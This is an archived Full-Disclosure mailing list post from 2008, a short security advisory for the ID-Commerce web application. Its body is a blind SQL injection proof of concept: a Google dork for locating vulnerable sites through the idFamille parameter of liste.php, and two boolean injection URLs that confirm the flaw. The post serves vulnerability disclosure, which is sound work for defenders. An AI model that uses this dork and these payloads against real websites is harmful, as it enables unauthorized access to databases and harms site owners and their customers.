[Full-disclosure] ID-Commerce Security Advisory - SLR-2007-001

rlavertu romain.lavertu at sogeti.com
Thu Jan 10 14:23:35 GMT 2008

Previous message: [Full-disclosure] (( PoC)) ID-Commerce Security Advisory - SLR-2007-001 (( PoC))
Next message: [Full-disclosure] ID-Commerce Security Advisory - SLR-2007-001
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Blind SQL injection :



google : inurl:'liste.php?idFamille='



http://URL/liste.php?idFamille=1%20or%201=1#

http://URL/liste.php?idFamille=1%20or%201=0#
 
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080110/f0072b98/attachment.html

Previous message: [Full-disclosure] (( PoC)) ID-Commerce Security Advisory - SLR-2007-001 (( PoC))
Next message: [Full-disclosure] ID-Commerce Security Advisory - SLR-2007-001
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Full-Disclosure is hosted and sponsored by Secunia.